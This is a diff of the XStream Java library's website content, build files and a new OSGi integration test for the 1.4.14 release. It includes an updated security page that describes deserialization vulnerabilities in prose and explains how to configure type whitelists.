91		<li><a href="http://repo.maven.apache.org/maven2/org/hibernate/hibernate-envers/4.2.5.Final/hibernate-envers-4.2.5.Final.jar">Hibernate Envers 4.2.5</a>, for Java 6 or higher.</li>
92		<li><a href="http://repo.maven.apache.org/maven2/org/hibernate/hibernate-envers/3.6.6.Final/hibernate-envers-3.6.6.Final.jar">Hibernate Envers 3.6.6</a>, for Java 5.</li>
	102	<li><a href="https://repo1.maven.org/maven2/org/hibernate/hibernate-envers/4.2.5.Final/hibernate-envers-4.2.5.Final.jar">Hibernate Envers 4.2.5</a>, for Java 6 or higher.</li>
	103	<li><a href="https://repo1.maven.org/maven2/org/hibernate/hibernate-envers/3.6.6.Final/hibernate-envers-3.6.6.Final.jar">Hibernate Envers 3.6.6</a>, for Java 5.</li>
93	104	</ul>
94	105	</li>
95	106	</ul>

99	110	<ul>
100	111	<li>JMH dependencies:
101	112	<ul>
102		<li><a href="http://repo.maven.apache.org/maven2/org/openjdk/jmh-core/1.19/jmh-core-1.19.jar">JMH Core 1.19</a>, for Java 6 or higher.</li>
103		<li><a href="http://repo.maven.apache.org/maven2/org/openjdk/jmh-generator-annprocess/1.19/jmh-generator-annprocess-1.19.jar">JMH Generator Annotation Processor 1.19</a>, for Java 6 or higher.</li>
	113	<li><a href="https://repo1.maven.org/maven2/org/openjdk/jmh/jmh-core/1.19/jmh-core-1.19.jar">JMH Core 1.19</a>, for Java 6 or higher.</li>
	114	<li><a href="https://repo1.maven.org/maven2/org/openjdk/jmh/jmh-generator-annprocess/1.19/jmh-generator-annprocess-1.19.jar">JMH Generator Annotation Processor 1.19</a>, for Java 6 or higher.</li>
104	115	</ul>
105	116	</li>
106	117	</ul>

-2

xstream-distribution/src/content/faq.html less more

277	277	return this;
278	278	}
279	279	}</pre></div>
280		<p>or</p>
281		<div class="Source Java"><pre>class ThreadAwareComponent {
	280	<p>or in case your type implements java.io.Serializable, you have an alternative:</p>
	281	<div class="Source Java"><pre>class ThreadAwareComponent implements Serializable{
282	282	private transient ThreadLocal component;
283	283	// ...
284	284	private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {

-13

xstream-distribution/src/content/index.html less more

0	0	<html>
1	1	<!--
2	2	Copyright (C) 2005, 2006 Joe Walnes.
3		Copyright (C) 2006, 2007, 2008, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018 XStream committers.
	3	Copyright (C) 2006, 2007, 2008, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2020 XStream committers.
4	4	All rights reserved.
5	5
6	6	The software in this package is published under the terms of the BSD

72	72
73	73	<h1 id="news">Latest News</h1>
74	74
75		<h2 id="1.4.11.1"><b>October 27, 2018</b> XStream 1.4.11.1 released</h2>
	75	<h2 id="1.4.14"><b>November 16, 2020</b> XStream 1.4.14 released</h2>
76	76
77		<p class="highlight">Hot fix for XStream 1.4.11: Accidental breakage of Java runtimes %lt; 8.</p>
78
79		<p class="highlight">This maintenance release addresses again the security vulnerability <a href="CVE-2013-7285.html">
80		CVE-2013-7285</a>, an arbitrary execution of commands when unmarshalling for XStream instances with
81		uninitialized security framework. Only 1.4.10 with uninitialized security framework was affected.</p>
82
83		<p>New future-proof method JVM.isVersion to detect major version of Java runtime (incl. Java 10) as
84		replacement for individual JVM.isXY methods.</p>
	77	<p class="highlight">This maintenance release addresses the security vulnerability
	78	<a href="CVE-2020-26217.html">CVE-2020-26217</a>, reported originally as CVE-2017-9805 for Struts' XStream
	79	Plugin, an arbitrary execution of commands when unmarshalling for XStream instances with uninitialized security
	80	framework.</p>
85	81
86	82	<p>View the complete <a href="changes.html">change log</a> and <a href="download.html">download</a>.</p>
87	83
88		<p>Note, the next major release 1.5 will require Java 7.</p>
89
90		<p>Thanks to this impressive list of <a href="team.html#contributors">contributors</a>.</p>
	84	<p>Note, the next major release 1.5 will require Java 8.</p>
91	85
92	86	</body>
93	87	</html>

-11

xstream-distribution/src/content/mailing-lists.html less more

0	0	<html>
1	1	<!--
2	2	Copyright (C) 2005, 2006 Joe Walnes.
3		Copyright (C) 2006, 2007, 2015 XStream committers.
	3	Copyright (C) 2006, 2007, 2015, 2020 XStream committers.
4	4	All rights reserved.
5	5
6	6	The software in this package is published under the terms of the BSD

24	24
25	25	<p>Google Groups provide standard mailing list functionality as well as a user interface in form of a web-based forum.</p>
26	26
27		<h2>News</h2>
28
29		<p><a href="http://www.gmane.org/">Gmane</a> offers a news server interface for ordinary mailing lists. The
30		service collects all mails from the mailing list and offers them in a news group. The same news group was already
31		used for the old user's mailing list of Codehaus.</p>
32
33		<iframe src="http://news.gmane.org/gmane.comp.java.xstream.user">
34		<p>View <a href="http://news.gmane.org/gmane.comp.java.xstream.user">archives</a>, provided by Gmane.org</p>
35		</iframe>
36
37	27	<h2>Archives</h2>
38	28
39	29	<p>The former mailing lists hosted at Codehaus are gone, but still available in public archives

+31

-1

xstream-distribution/src/content/news.html less more

0	0	<html>
1	1	<!--
2	2	Copyright (C) 2005, 2006 Joe Walnes.
3		Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018 XStream committers.
	3	Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2020 XStream committers.
4	4	All rights reserved.
5	5
6	6	The software in this package is published under the terms of the BSD

15	15
16	16	<body>
17	17
	18	<h2 id="1.4.14"><b>November 16, 2020</b> XStream 1.4.14 released</h2>
	19
	20	<p class="highlight">This maintenance release addresses the security vulnerability
	21	<a href="CVE-2020-26217.html">CVE-2020-26217</a>, reported originally as CVE-2017-9805 for Struts' XStream
	22	Plugin, an arbitrary execution of commands when unmarshalling for XStream instances with uninitialized security
	23	framework.</p>
	24
	25	<p>View the complete <a href="changes.html">change log</a> and <a href="download.html">download</a>.</p>
	26
	27	<p>Note, the next major release 1.5 will require Java 8.</p>
	28
	29	<h2 id="1.4.13"><b>September 6, 2020</b> XStream 1.4.13 released</h2>
	30
	31	<p>This is a simple maintenance release addressing some minor problems by deferring the initialization of some
	32	converters that will cause a warning about reflective access and by using an internal black list for the security
	33	framework to avoid unintended misconfiguration.</p>
	34
	35	<p>View the complete <a href="changes.html">change log</a> and <a href="download.html">download</a>.</p>
	36
	37	<p>Note, the next major release 1.5 will require Java 8.</p>
	38
	39	<h2 id="1.4.12"><b>April 12, 2020</b> XStream 1.4.12 released</h2>
	40
	41	<p>This is a simple maintenance release addressing some minor bugs.</p>
	42
	43	<p>Note, the next major release 1.5 will require Java 8.</p>
	44
	45	<h2 id="1.4.11.1"><b>October 27, 2018</b> XStream 1.4.11.1 released</h2>
	46
	47	<p class="highlight">Hot fix for XStream 1.4.11: Accidental breakage of Java runtimes < 8.</p>
18	48
19	49	<h2 id="1.4.11"><b>October 23, 2018</b> XStream 1.4.11 released</h2>
20	50

+13

-2

xstream-distribution/src/content/references.html less more

0	0	<html>
1	1	<!--
2		Copyright (C) 2006, 2007, 2008, 2009, 2011, 2015 XStream committers.
	2	Copyright (C) 2006, 2007, 2008, 2009, 2011, 2015, 2020 XStream committers.
3	3	All rights reserved.
4	4
5	5	The software in this package is published under the terms of the BSD

135	135	<h1 id="blogs">Blogs and Articles</h1>
136	136
137	137	<ul>
	138	<li>May 24th, 2019: <a href="https://nullbeans.com/configuring-xstream-to-convert-java-objects-to-and-from-xml">A Guide to the XStream library</a> by iba</li>
	139	<!--
138	140	<li>November 11th, 2011: <a href="http://www.wappworks.com/2011/11/11/using-xstream-with-google-app-engine/">Using XStream with Google App Engine</a> by Chris Khoo</li>
139	141	<li>January 22th, 2010: <a href="http://www.openscope.net/2010/01/22/java-xml-and-xstream/">Java, XML and XStream</a> by Antonio Gonzalez</li>
	142	-->
140	143	<li>September 1st, 2009: <a href="http://www.ibm.com/developerworks/java/library/x-xstrmfo/index.html">Generate PDFs with XStream and XSL-FO</a> by Brian J. Stewart</li>
141	144	<li>January 13th, 2009: [German article] <a href="http://www.zdnet.de/anwendungsentwicklung_mit_xstream_lassen_sich_objekte_einfach_und_schnell_serialisieren_story-20000201-39201013-1.htm">Mit XStream lassen sich Objekte einfach und schnell serialisieren</a> by David Petersheim</li>
	145	<!--
142	146	<li>April 8th, 2008: <a href="http://www.ibm.com/developerworks/java/library/x-xstream/index.html">Use XStream to serialize Java objects into XML</a> by Rajiv Bangalore (updated on July 23th, 2008)</li>
	147	-->
143	148	<li>February 12th, 2008: <a href="http://www.ibm.com/developerworks/library/x-restfulsoa/">RESTful SOA using XML</a> by Adriaan de Jonge</li>
	149	<!--
144	150	<li>February 7th, 2007: <a href="http://codeforfun.wordpress.com/2007/02/07/to-the-xstream/">To the XStream</a> by Cliff</li>
	151	-->
145	152	<li>May 21th, 2006: <a href="http://paulhammant.com/blog/xstream-json.html">Inversionism by Paul Hammant: <i>Using XStream to forward JSON to a browser</i></a></li>
146	153	<li>May 21th, 2006: <a href="http://paulhammant.com/blog/xstream-rss.html">Inversionism by Paul Hammant: <i>Using XStream to process standardized XML documents</i></a></li>
147	154	<li>May 12th, 2006: <a href="http://www.infoq.com/articles/REST-INTEROP">Paul Hammant and Ian Cartwright: <i>Simple JAVA and .NET SOA interoperability</i></a></li>
148	155	<li>January 30th, 2006: <a href="http://www.j2eegeek.com/blog/2006/01/30/life-is-beautiful-with-xmlbeans-and-xstream/">Vinny Carpenter's Blog: <i>Life is beautiful with XMLBeans and XStream</i></a></li>
	156	<!--
149	157	<li>September 15th, 2005: <a href="http://weblogs.java.net/blog/scottschram/archive/2005/09/the_xstream_lib.html">Scott Schram's Blog: <i>The XStream library offers clean, easy XML serialization of POJOs.</i></a></li>
	158	-->
150	159	<li>August 5th, 2005: <a href="http://entzi.blogspot.com/2005/08/xstream-jdk15-annotations.html">Emil Kirschner: <i>xstream & jdk 1.5 annotations</i></a></li>
	160	<!--
151	161	<li>April 27th, 2005: <a href="http://www.jroller.com/CoBraLorD/entry/net_transparent_xml_serialization_xstream">Arne Vandamme's weblog: <i>.NET: transparent XML serialization, XStream for .NET</i></a></li>
152	162	<li>December 18th, 2004: <a href="http://jroller.com/page/rickard/20041218">Random Thoughts by Rickard Öberg: <i>XStream + Xindice = !</i></a></li>
	163	-->
153	164	<li>August 19th, 2004: <a href="http://www.theserverside.com/news/thread.tss?thread_id=28187">TheServerSide.com by Dion Almaer: <i>Serializing Java Objects with XStream</i></a></li>
154		<li>August 18th, 2004: <a href="http://www.xml.com/lpt/a/1462">XML.com by Michael Fitzgerald: <i>Serializing Java Objects with XStream</i></a></li>
	165	<li>August 18th, 2004: <a href="https://www.xml.com/pub/a/2004/08/18/xstream.html">XML.com by Michael Fitzgerald: <i>Serializing Java Objects with XStream</i></a></li>
155	166	<!--
156	167	<li>June 4th, 2004: <a href="http://uppertank.net/blog/?p=72">Elliot's Nonsense: <i>Deserializing with XStream</i></a></li>
157	168	<li>June 4th, 2004: <a href="http://blog.rossmason.com/archives/2004/06/three_reasons_why_i_like_xstream.html">Ross Mason: <i>Three Reasons why I like XStream</i></a></li>

+40

-45

xstream-distribution/src/content/security.html less more

0	0	<html>
1	1	<!--
2		Copyright (C) 2014, 2015, 2017 XStream committers.
	2	Copyright (C) 2014, 2015, 2017, 2019, 2020 XStream committers.
3	3	All rights reserved.
4	4
5	5	The software in this package is published under the terms of the BSD

29	29	<p>The provided XML data is used by XStream to unmarshal Java objects. This data can be manipulated by injecting
30	30	the XML representation of other objects, that were not present at marshalling time. An attacker could take
31	31	advantage of this to execute arbitrary code or shell commands in the context of the server running the XStream
32		process. A concrete case is described in <a href="CVE-2013-7285.html">CVE-2013-7285</a>.</p>
	32	process. A concrete case is described in <a href="CVE-2013-7285.html">CVE-2013-7285</a> and
	33	<a href="CVE-2020-26217.html">CVE-2020-26217</a>.</p>
33	34
34	35	<p>Note that the XML data can be manipulated on different levels. For example, manipulating values on existing
35	36	objects (such as a price value), or breaking the format and causing the XML parser to fail. The latter case will

65	66	exploits is very high.</p>
66	67
67	68	<p class="hightlight">Therefore creates a black list for special classes only a scenario for a false security,
68		because no-one can assure, that no other scenario arise. A better approach is white listing i.e. the allowed class
	69	because no-one can assure, that no other scenario arise. A better approach is a whitelist i.e. the allowed class
69	70	types are setup explicitly. This will be the default for XStream 1.5.x.</p>
70	71
71	72	<p>Starting with XStream 1.4.7, an instance of the EventHandler is no longer handled by default. You have to

78	79	XStream acts here like a script, and the scenario above can be created with any script that is executed within a
79	80	Java runtime (e.g. using its JavaScript interpreter) if someone is able to manipulate it externally. The key
80	81	message for application developers is that deserializing arbitrary user-supplied content is a dangerous proposition
81		in all cases. The best approach to prevent such an attach is a <a href="#example">white list</a>, i.e. the
	82	in all cases. The best approach to prevent such an attach is a <a href="#example">whitelist</a>, i.e. the
82	83	deserialization mechanism should only allow explicit types.</p>
83	84
84	85	<h2 id="explicit">Explicit Security</h2>

86	87	<p>Starting with XStream 1.4.7, it is possible to define <a href="#framework">permissions</a> for types, to check
87	88	the type of an object that should be unmarshalled. Those permissions can be used to allow or deny types explicitly
88	89	With these permissions it is at least not possible to inject unexpected types into an object graph. The security
89		framework supports the setup of a black or white listing scenario. Any application should use this feature to
	90	framework supports the setup of a blacklist or whitelist scenario. Any application should use this feature to
90	91	limit the danger of arbitrary command execution if it deserializes data from an external source.</p>
91	92
92	93	<p>XStream itself sets up a black list by default, i.e. it blocks all currently known critical classes of the Java
93	94	runtime. Main reason for the black list is compatibility, because otherwise newer versions of XStream 1.4.x can no
94	95	longer be used as drop-in replacement. Unfortunately this provides a false sense of security. Every XStream
95		client should therefore switch to a white listing on its own as soon as possible. XStream itself will use white
96		listing as default starting with 1.5.x and only clients that have also changed their setup will be able to use this
97		newer version again as drop-in replacement.</p>
	96	client should therefore switch to a whitelist on its own as soon as possible. XStream itself will use a whitelist
	97	as default starting with 1.5.x and only clients that have also changed their setup will be able to use this newer
	98	version again as drop-in replacement. You can use
	99	<a href="javadoc/com/thoughtworks/xstream/XStream.html#setupDefaultSecurity-com.thoughtworks.xstream.XStream-">XStream.setupDefaultSecurity()</a>
	100	to install the default whitelist of 1.5.x already with 1.4.10 or higher.</p>
	101
	102	<p class=highlight>Note: If a type on a whitelist contains itself other members that are handled by XStream, you
	103	will have to add those member's types to the whitelist also.</p>
	104
	105	<p>Separate to the XStream security framework, it has always been possible to overwrite the setupConverter method
	106	of XStream to register only the required converters.</p>
98	107
99	108	<p class=highlight>Apart from value manipulations, this implementation still allows the injection of allowed
100	109	objects at wrong locations, e.g. inserting an integer into a list of strings.</p>
101
102		<p>Separate to the XStream security framework, it has always been possible to overwrite the setupConverter method
103		of XStream to register only the required converters.</p>
104	110
105	111	<h2 id="validation">XML Validation</h2>
106	112

161	167	<th>Permission</th>
162	168	<th>Description</th>
163	169	<th>Example</th>
164		<th>Default</th>
165	170	</tr>
166	171	<tr>
167	172	<td><a href="javadoc/com/thoughtworks/xstream/security/AnyTypePermission.html">AnyTypePermission</a></td>
168		<td>Allow any type. You may use the ANY instance directly. A registration of this permission will wipe any
169		prior one.</td>
170		<td> </td>
171		<td>yes</td>
	173	<td><b>Start a blacklist</b> and allow any type. A registration of this permission will wipe any prior one.
	174	You may use the ANY instance directly. Note, that it is now in the responsibility of the developer to deny any
	175	type that might be used for arbitrary code execution as described in the CVEs above.</td>
	176	<td>addPermission(<i>AnyTypePermission.ANY</i>);</td>
172	177	</tr>
173	178	<tr>
174	179	<td><a href="javadoc/com/thoughtworks/xstream/security/ArrayTypePermission.html">ArrayTypePermission</a></td>
175	180	<td>Allow any array type. You may use the ARRAYS instance directly.</td>
176		<td> </td>
177		<td>no</td>
	181	<td>addPermission(<i>ArrayTypePermission.ARRAYS</i>);</td>
178	182	</tr>
179	183	<tr>
180	184	<td><a href="javadoc/com/thoughtworks/xstream/security/CGLIBProxyTypePermission.html">CGLIBProxyTypePermission</a></td>
181	185	<td>Allow any CGLIB proxy type. You may use the PROXIES instance directly.</td>
182		<td> </td>
183		<td>no</td>
	186	<td>addPermission(<i>CGLIBProxyTypePermission.PROXIES</i>);</td>
184	187	</tr>
185	188	<tr>
186	189	<td><a href="javadoc/com/thoughtworks/xstream/security/ExplicitTypePermission.html">ExplicitTypePermission</a></td>
187	190	<td>Allow types explicitly by name.</td>
188		<td> </td>
189		<td>–</td>
	191	<td>allowTypes(new String[] {"<i>java.io.File</i>", "<i>java.lang.ProcessBuilder</i>"});<br/>
	192	allowTypes(new Class[] {<i>java.io.File.class</i>, <i>java.lang.ProcessBuilder.class</i>});</td>
190	193	</tr>
191	194	<tr>
192	195	<td><a href="javadoc/com/thoughtworks/xstream/security/InterfaceTypePermission.html">InterfaceTypePermission</a></td>
193	196	<td>Allow any interface type. You may use the INTERFACES instance directly.</td>
194		<td> </td>
195		<td>no</td>
	197	<td>addPermission(<i>InterfaceTypePermission.INTERFACES</i>);</td>
196	198	</tr>
197	199	<tr>
198	200	<td><a href="javadoc/com/thoughtworks/xstream/security/NoPermission.html">NoPermission</a></td>
199		<td>Invert any other permission. Instances of this type are used by XStream in the deny methods.</td>
200		<td> </td>
201		<td>no</td>
	201	<td>Invert any other permission. Instances of this type are used by XStream in the deny methods wrapping a permission.</td>
	202	<td>denyPermission(<i>permissionInstance</i>);</td>
202	203	</tr>
203	204	<tr>
204	205	<td><a href="javadoc/com/thoughtworks/xstream/security/NoTypePermission.html">NoTypePermission</a></td>
205		<td>Allow no type. You may use the NONE instance directly. A registration of this permission will wipe any
206		prior one.</td>
207		<td> </td>
208		<td>–</td>
	206	<td><b>Start a whitelist</b> and allow no type. A registration of this permission will wipe any prior one.
	207	You may use the NONE instance directly.</td>
	208	<td>addPermission(<i>NoTypePermission.NONE</i>);</td>
209	209	</tr>
210	210	<tr>
211	211	<td><a href="javadoc/com/thoughtworks/xstream/security/NullPermission.html">NullPermission</a></td>
212	212	<td>Allow null as type. You may use the NULL instance directly.</td>
213		<td> </td>
214		<td>no</td>
	213	<td>addPermission(<i>NullPermission.NULL</i>);</td>
215	214	</tr>
216	215	<tr>
217	216	<td><a href="javadoc/com/thoughtworks/xstream/security/PrimitiveTypePermission.html">PrimitiveTypePermission</a></td>
218	217	<td>Allow any primitive type and its boxed counterpart (excluding void). You may use the PRIMITIVES instance
219	218	directly.</td>
220		<td> </td>
221		<td>no</td>
	219	<td>addPermission(<i>PrimitiveTypePermission.PRIMITIVES</i>);</td>
222	220	</tr>
223	221	<tr>
224	222	<td><a href="javadoc/com/thoughtworks/xstream/security/ProxyTypePermission.html">ProxyTypePermission</a></td>
225	223	<td>Allow any Java proxy type. You may use the PROXIES instance directly.</td>
226		<td> </td>
227		<td>no</td>
	224	<td>addPermission(<i>ProxyTypePermission.PROXIES</i>);</td>
228	225	</tr>
229	226	<tr>
230	227	<td><a href="javadoc/com/thoughtworks/xstream/security/RegExpTypePermission.html">RegExpTypePermission</a></td>
231	228	<td>Allow any type that matches with its name a regular expression.</td>
232		<td class="example">.\\.core\\..<br/>[^$]+</td>
233		<td>–</td>
	229	<td class="example">allowTypeByRegExp(new String[]{"<i>.\\.core\\..</i>", "<i>[^$]+</i>"});<br/>
	230	allowTypeByRegExp(new Pattern[]{Pattern.compile("<i>.\\.core\\..</i>"), Pattern.compile("<i>[^$]+</i>")});</td>
234	231	</tr>
235	232	<tr>
236	233	<td><a href="javadoc/com/thoughtworks/xstream/security/TypeHierarchyPermission.html">TypeHierarchyPermission</a></td>
237	234	<td>Allow types of a hierarchy.</td>
238		<td> </td>
239		<td>–</td>
	235	<td>allowTypeHierarchy(<i>java.lang.Throwable.class</i>);</td>
240	236	</tr>
241	237	<tr>
242	238	<td><a href="javadoc/com/thoughtworks/xstream/security/WildcardTypePermission.html">WildcardTypePermission</a></td>
243	239	<td>Allow any type that matches with its name a wildcard expression.</td>
244		<td class="example">java.lang.<br/>java.util.*</td>
245		<td>–</td>
	240	<td>allowTypeByWildcard(new String[]{"<i>java.lang.</i>", "<i>java.util.*"</i>});</td>
246	241	</tr>
247	242	</table>
248	243
249		<h2 id="example">Example Code White Listing</h2>
	244	<h2 id="example">Example Code Whitelist</h2>
250	245
251	246	<p>XStream uses the AnyTypePermission by default, i.e. any type is accepted. You have to clear out this default
252	247	and register your own permissions to activate the security framework (the Blog type is from the
253	248	<a href="alias-tutorial.html">Alias Tutorial</a>):</p>
254	249	<div class="Source Java"><pre>XStream xstream = new XStream();
255		// clear out existing permissions and set own ones
	250	// clear out existing permissions and start a whitelist
256	251	xstream.addPermission(NoTypePermission.NONE);
257	252	// allow some basics
258	253	xstream.addPermission(NullPermission.NULL);

-1

xstream-distribution/src/content/team.html less more

0	0	<html>
1	1	<!--
2	2	Copyright (C) 2005, 2006 Joe Walnes.
3		Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2013, 2014, 2015, 2016, 2017 XStream committers.
	3	Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2013, 2014, 2015, 2016, 2017, 2019, 2020 XStream committers.
4	4	All rights reserved.
5	5
6	6	The software in this package is published under the terms of the BSD

124	124	<li>Carsten Hammer</li>
125	125	<li>Matej Cimbora</li>
126	126	<li>Baptiste Mesta</li>
	127	<li>Wes Wannemacher</li>
	128	<li>Falko Modler</li>
127	129	</ul>
128	130
129	131	<p>Please direct all correspondence about XStream to the <a href="mailing-lists.html">mailing list</a>

-0

xstream-distribution/src/content/website.xml less more

44	44	</section>
45	45	<section>
46	46	<name>Vulnerabilities</name>
	47	<page>CVE-2020-26217.html</page>
47	48	<page>CVE-2017-7957.html</page>
48	49	<page>CVE-2016-3674.html</page>
49	50	<page>CVE-2013-7285.html</page>

-1

xstream-hibernate/pom.xml less more

12	12	<parent>
13	13	<groupId>com.thoughtworks.xstream</groupId>
14	14	<artifactId>xstream-parent</artifactId>
15		<version>1.4.11.1</version>
	15	<version>1.4.14</version>
16	16	</parent>
17	17	<artifactId>xstream-hibernate</artifactId>
18	18	<packaging>jar</packaging>

+140

-0

xstream-its/pom.xml less more

	0	<?xml version="1.0" encoding="UTF-8"?>
	1	<project xmlns="http://maven.apache.org/POM/4.0.0"
	2	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	3	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
	4	<!--
	5	Copyright (C) 2019, 2020 XStream committers.
	6	All rights reserved.
	7
	8	The software in this package is published under the terms of the BSD
	9	style license a copy of which has been included with this distribution in
	10	the LICENSE.txt file.
	11
	12	Created on 12. August 2019 by Joerg Schaible
	13	-->
	14	<parent>
	15	<artifactId>xstream-parent</artifactId>
	16	<groupId>com.thoughtworks.xstream</groupId>
	17	<version>1.4.12-SNAPSHOT</version>
	18	</parent>
	19	<modelVersion>4.0.0</modelVersion>
	20	<artifactId>xstream-its</artifactId>
	21	<name>XStream ITs</name>
	22	<description>Integration tests for XStream.</description>
	23
	24	<build>
	25	<testResources>
	26	<testResource>
	27	<directory>src/test-resources</directory>
	28	<filtering>true</filtering>
	29	</testResource>
	30	</testResources>
	31	<plugins>
	32	<plugin>
	33	<groupId>org.apache.maven.plugins</groupId>
	34	<artifactId>maven-deploy-plugin</artifactId>
	35	<configuration>
	36	<skip>true</skip>
	37	</configuration>
	38	</plugin>
	39	<plugin>
	40	<groupId>org.apache.maven.plugins</groupId>
	41	<artifactId>maven-failsafe-plugin</artifactId>
	42	<executions>
	43	<execution>
	44	<goals>
	45	<goal>integration-test</goal>
	46	<goal>verify</goal>
	47	</goals>
	48	</execution>
	49	</executions>
	50	</plugin>
	51	<plugin>
	52	<groupId>org.apache.maven.plugins</groupId>
	53	<artifactId>maven-install-plugin</artifactId>
	54	<configuration>
	55	<skip>true</skip>
	56	</configuration>
	57	</plugin>
	58	<plugin>
	59	<groupId>org.apache.maven.plugins</groupId>
	60	<artifactId>maven-jar-plugin</artifactId>
	61	<executions>
	62	<execution>
	63	<id>default-jar</id>
	64	<configuration>
	65	<skipIfEmpty>true</skipIfEmpty>
	66	</configuration>
	67	</execution>
	68	</executions>
	69	</plugin>
	70	</plugins>
	71	</build>
	72
	73	<dependencies>
	74	<dependency>
	75	<groupId>com.thoughtworks.xstream</groupId>
	76	<artifactId>xstream</artifactId>
	77	</dependency>
	78
	79	<!-- test dependencies -->
	80	<dependency>
	81	<groupId>org.apache.felix</groupId>
	82	<artifactId>org.apache.felix.framework</artifactId>
	83	</dependency>
	84	<dependency>
	85	<groupId>org.glassfish.hk2.external</groupId>
	86	<artifactId>javax.inject</artifactId>
	87	</dependency>
	88	<dependency>
	89	<groupId>org.ops4j.pax.exam</groupId>
	90	<artifactId>pax-exam-container-native</artifactId>
	91	<exclusions>
	92	<exclusion>
	93	<groupId>org.osgi</groupId>
	94	<artifactId>org.osgi.core</artifactId>
	95	</exclusion>
	96	</exclusions>
	97	</dependency>
	98	<dependency>
	99	<groupId>org.ops4j.pax.exam</groupId>
	100	<artifactId>pax-exam-extender-service</artifactId>
	101	</dependency>
	102	<dependency>
	103	<groupId>org.ops4j.pax.exam</groupId>
	104	<artifactId>pax-exam-invoker-junit</artifactId>
	105	</dependency>
	106	<dependency>
	107	<groupId>org.ops4j.pax.exam</groupId>
	108	<artifactId>pax-exam-junit4</artifactId>
	109	</dependency>
	110	<dependency>
	111	<groupId>org.ops4j.pax.exam</groupId>
	112	<artifactId>pax-exam-inject</artifactId>
	113	</dependency>
	114	<dependency>
	115	<groupId>org.ops4j.pax.exam</groupId>
	116	<artifactId>pax-exam-link-assembly</artifactId>
	117	</dependency>
	118	<dependency>
	119	<groupId>org.ops4j.pax.exam</groupId>
	120	<artifactId>pax-exam-link-mvn</artifactId><!-- Preferred link because it does not require an implicit mvn url handler -->
	121	</dependency>
	122
	123	<dependency>
	124	<groupId>junit</groupId>
	125	<artifactId>junit</artifactId>
	126	</dependency>
	127	<dependency>
	128	<groupId>org.slf4j</groupId>
	129	<artifactId>slf4j-simple</artifactId>
	130	<scope>test</scope>
	131	</dependency>
	132	</dependencies>
	133
	134	<properties>
	135	<version.junit>4.11</version.junit>
	136	<version.java.source>${version.java.6}</version.java.source>
	137	<version.java.target>${version.java.6}</version.java.target>
	138	</properties>
	139	</project>

+80

-0

xstream-its/src/test/com/thoughtworks/xstream/OSGiIT.java less more

	0	/*
	1	* Copyright (C) 2019 XStream Committers.
	2	* All rights reserved.
	3	*
	4	* The software in this package is published under the terms of the BSD
	5	* style license a copy of which has been included with this distribution in
	6	* the LICENSE.txt file.
	7	*
	8	* Created on 12. August 2019 by Joerg Schaible
	9	*/
	10	package com.thoughtworks.xstream;
	11
	12	import static java.lang.String.format;
	13	import static org.junit.Assert.assertEquals;
	14	import static org.junit.Assert.assertNotNull;
	15	import static org.junit.Assert.assertTrue;
	16	import static org.ops4j.pax.exam.CoreOptions.junitBundles;
	17	import static org.ops4j.pax.exam.CoreOptions.mavenBundle;
	18	import static org.ops4j.pax.exam.CoreOptions.options;
	19
	20	import java.io.InputStream;
	21	import java.util.Properties;
	22
	23	import javax.inject.Inject;
	24
	25	import org.ops4j.pax.exam.Configuration;
	26	import org.ops4j.pax.exam.Option;
	27	import org.ops4j.pax.exam.junit.PaxExam;
	28	import org.ops4j.pax.exam.spi.reactors.ExamReactorStrategy;
	29	import org.ops4j.pax.exam.spi.reactors.PerMethod;
	30	import org.osgi.framework.Bundle;
	31	import org.osgi.framework.BundleContext;
	32
	33	import org.junit.Test;
	34	import org.junit.runner.RunWith;
	35
	36
	37	/**
	38	* @author Wes Wannemacher
	39	*/
	40	@RunWith(PaxExam.class)
	41	@ExamReactorStrategy(PerMethod.class)
	42	public class OSGiIT {
	43	@Inject
	44	BundleContext bundleContext;
	45
	46	@SuppressWarnings("javadoc")
	47	@Configuration
	48	public Option[] config() throws Exception {
	49	final Properties properties = new Properties();
	50	final InputStream is = getClass().getResourceAsStream("/project.properties");
	51	properties.load(is);
	52	is.close();
	53	final String xstreamVersion = properties.getProperty("project.version");
	54
	55	return options(junitBundles(), mavenBundle()
	56	.groupId("com.thoughtworks.xstream")
	57	.artifactId("xstream")
	58	.version(xstreamVersion));
	59	}
	60
	61	@SuppressWarnings("javadoc")
	62	@Test
	63	public void smokeTest() {
	64	assertNotNull("BundleContext was not injected", bundleContext);
	65
	66	boolean xstreamBundleFound = false;
	67	int xstreamBundleState = -1;
	68	for (final Bundle bundle : bundleContext.getBundles()) {
	69	if ("xstream".equals(bundle.getSymbolicName())) {
	70	xstreamBundleFound = true;
	71	xstreamBundleState = bundle.getState();
	72	}
	73	}
	74
	75	assertTrue("XStream bundle was not loaded", xstreamBundleFound);
	76	assertEquals(format("XStream bundle was not active (was: %d)", xstreamBundleState), xstreamBundleState,
	77	Bundle.ACTIVE);
	78	}
	79	}

-0

xstream-its/src/test-resources/project.properties less more

project.version=${project.version}

-4

xstream-jmh/pom.xml less more

0	0	<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
1	1	<!--
2		Copyright (C) 2015, 2017 XStream committers.
	2	Copyright (C) 2015, 2017, 2020 XStream committers.
3	3	All rights reserved.
4	4
5	5	The software in this package is published under the terms of the BSD

12	12	<parent>
13	13	<groupId>com.thoughtworks.xstream</groupId>
14	14	<artifactId>xstream-parent</artifactId>
15		<version>1.4.11.1</version>
	15	<version>1.4.14</version>
16	16	</parent>
17	17	<artifactId>xstream-jmh</artifactId>
18	18	<packaging>jar</packaging>

229	229	</dependency>
230	230	</dependencies>
231	231	<properties>
232		<version.java.source>1.6</version.java.source>
233		<version.java.target>1.6</version.java.target>
	232	<version.java.source>${version.java.6}</version.java.source>
	233	<version.java.target>${version.java.6}</version.java.target>
234	234	</properties>
235	235	</project>

+32

-31

